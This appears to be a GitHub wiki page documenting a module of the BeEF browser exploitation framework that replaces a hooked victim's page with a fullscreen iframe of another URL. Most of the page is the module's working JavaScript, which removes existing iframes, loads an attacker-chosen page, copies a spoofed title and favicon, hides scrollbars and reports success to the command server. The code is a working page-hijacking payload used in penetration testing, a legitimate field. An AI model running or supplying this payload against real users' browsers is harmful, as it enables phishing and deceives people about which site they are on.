Skip to content

Module: Redirect Browser (iFrame)

Haoxi Tan edited this page Jan 9, 2020 · 3 revisions

Summary

  • Objective: Replaces page content with another URL with an iFrame

  • Authors: ethicalhack3r, Yori Kvitchko

  • Browsers: All

  • Code

Internal Working

var result = 'Iframe successfully created!';
var title = '<%= @iframe_title %>';
var iframe_src = '<%= @iframe_src %>';
var iframe_favicon = '<%= @iframe_favicon %>';
var sent = false;

$j("iframe").remove();

beef.dom.createIframe('fullscreen', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
beef.browser.changeFavicon(iframe_favicon);

Screenshots

Feedback

Clone this wiki locally